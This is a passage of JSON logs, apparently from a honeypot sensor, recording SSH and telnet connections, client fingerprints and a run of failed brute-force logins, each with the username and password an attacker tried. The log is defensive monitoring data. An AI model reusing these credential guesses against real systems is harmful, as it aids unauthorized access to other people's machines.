"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:22.543295Z","src_ip":"190.167.237.191","session":"58b3f49e4e31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:22.774276Z","src_ip":"190.167.237.191","session":"58b3f49e4e31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:23.827696Z","src_ip":"190.167.237.191","session":"58b3f49e4e31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":45108,"dst_ip":"159.203.135.109","dst_port":22,"session":"de12e3b8740f","protocol":"ssh","message":"New connection: 189.113.47.155:45108 (159.203.135.109:22) [session: de12e3b8740f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:26.472847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:26.475925Z","src_ip":"189.113.47.155","session":"de12e3b8740f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:26.590191Z","src_ip":"189.113.47.155","session":"de12e3b8740f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1A2A3A4A5","message":"login attempt [root/A1A2A3A4A5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:27.083672Z","src_ip":"189.113.47.155","session":"de12e3b8740f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:28.209007Z","src_ip":"189.113.47.155","session":"de12e3b8740f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:28.934863Z","src_ip":"8.218.166.49","session":"f0d9529d354a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":41662,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc4f8f33cf8d","protocol":"ssh","message":"New connection: 124.155.125.131:41662 (159.203.135.109:22) [session: fc4f8f33cf8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:32.671503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:32.675797Z","src_ip":"124.155.125.131","session":"fc4f8f33cf8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:32.850449Z","src_ip":"124.155.125.131","session":"fc4f8f33cf8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:33.577173Z","src_ip":"124.155.125.131","session":"fc4f8f33cf8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:34.754074Z","src_ip":"124.155.125.131","session":"fc4f8f33cf8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":47280,"dst_ip":"159.203.135.109","dst_port":22,"session":"f80a87aa2df6","protocol":"ssh","message":"New connection: 221.161.235.168:47280 (159.203.135.109:22) [session: f80a87aa2df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:35.993096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:35.997612Z","src_ip":"221.161.235.168","session":"f80a87aa2df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:36.193043Z","src_ip":"221.161.235.168","session":"f80a87aa2df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"b0ll0ck5","message":"login attempt [root/b0ll0ck5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:37.008868Z","src_ip":"221.161.235.168","session":"f80a87aa2df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:38.208394Z","src_ip":"221.161.235.168","session":"f80a87aa2df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":14539,"dst_ip":"10.17.0.5","dst_port":22,"session":"405bace0cfb0","protocol":"ssh","message":"New connection: 2.57.121.25:14539 (10.17.0.5:22) [session: 405bace0cfb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:44.824789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:44.829973Z","src_ip":"2.57.121.25","session":"405bace0cfb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:44.926746Z","src_ip":"2.57.121.25","session":"405bace0cfb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fathead","message":"login attempt [user/fathead] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:45.384359Z","src_ip":"2.57.121.25","session":"405bace0cfb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:45.462890Z","src_ip":"8.218.166.49","session":"f0d9529d354a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fabienne","message":"login attempt [user/fabienne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:46.484880Z","src_ip":"2.57.121.25","session":"405bace0cfb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"erwin","message":"login attempt [user/erwin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:47.584029Z","src_ip":"2.57.121.25","session":"405bace0cfb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"erica1","message":"login attempt [user/erica1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:48.684088Z","src_ip":"2.57.121.25","session":"405bace0cfb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"eragon","message":"login attempt [user/eragon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:49.782937Z","src_ip":"2.57.121.25","session":"405bace0cfb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:50.881552Z","src_ip":"2.57.121.25","session":"405bace0cfb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":59022,"dst_ip":"159.203.135.109","dst_port":22,"session":"59dedd599573","protocol":"ssh","message":"New connection: 139.59.208.49:59022 (159.203.135.109:22) [session: 59dedd599573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:51.779157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:51.783679Z","src_ip":"139.59.208.49","session":"59dedd599573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:51.870894Z","src_ip":"139.59.208.49","session":"59dedd599573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Super123","message":"login attempt [root/Super123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:52.249746Z","src_ip":"139.59.208.49","session":"59dedd599573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:53.338626Z","src_ip":"139.59.208.49","session":"59dedd599573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.4","message":"Connection lost after 37.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:59:55.741019Z","src_ip":"8.218.166.49","session":"f0d9529d354a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.197.191.195","src_port":59711,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe36bc383511","protocol":"telnet","message":"New connection: 109.197.191.195:59711 (10.17.0.5:23) [session: fe36bc383511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:03.992266Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":60388,"dst_ip":"10.17.0.5","dst_port":23,"session":"92165a4c215e","protocol":"telnet","message":"New connection: 142.93.69.27:60388 (10.17.0.5:23) [session: 92165a4c215e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:06.913982Z"}
{"eventid":"cowrie.session.closed","duration":3.7569196224212646,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:10.670766Z","src_ip":"142.93.69.27","session":"92165a4c215e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":47810,"dst_ip":"159.203.135.109","dst_port":22,"session":"05da55fe3562","protocol":"ssh","message":"New connection: 165.154.6.49:47810 (159.203.135.109:22) [session: 05da55fe3562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:13.376378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:13.381082Z","src_ip":"165.154.6.49","session":"05da55fe3562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:13.598593Z","src_ip":"165.154.6.49","session":"05da55fe3562","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspi","message":"login attempt [root/raspi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:14.497889Z","src_ip":"165.154.6.49","session":"05da55fe3562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.20.66","src_port":5672,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e26c520136","protocol":"telnet","message":"New connection: 65.49.20.66:5672 (10.17.0.5:23) [session: 37e26c520136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:14.593767Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:14.600400Z","src_ip":"65.49.20.66","session":"37e26c520136","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.94 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.94 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:14.605454Z","src_ip":"65.49.20.66","session":"37e26c520136","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:14.612839Z","src_ip":"65.49.20.66","session":"37e26c520136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09538435935974121,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:14.689043Z","src_ip":"65.49.20.66","session":"37e26c520136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:15.719124Z","src_ip":"165.154.6.49","session":"05da55fe3562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.787466287612915,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:16.779606Z","src_ip":"109.197.191.195","session":"fe36bc383511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":58954,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e12eb521551","protocol":"ssh","message":"New connection: 221.161.235.168:58954 (159.203.135.109:22) [session: 4e12eb521551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:18.219969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:18.226340Z","src_ip":"221.161.235.168","session":"4e12eb521551","protocol":"ssh"}
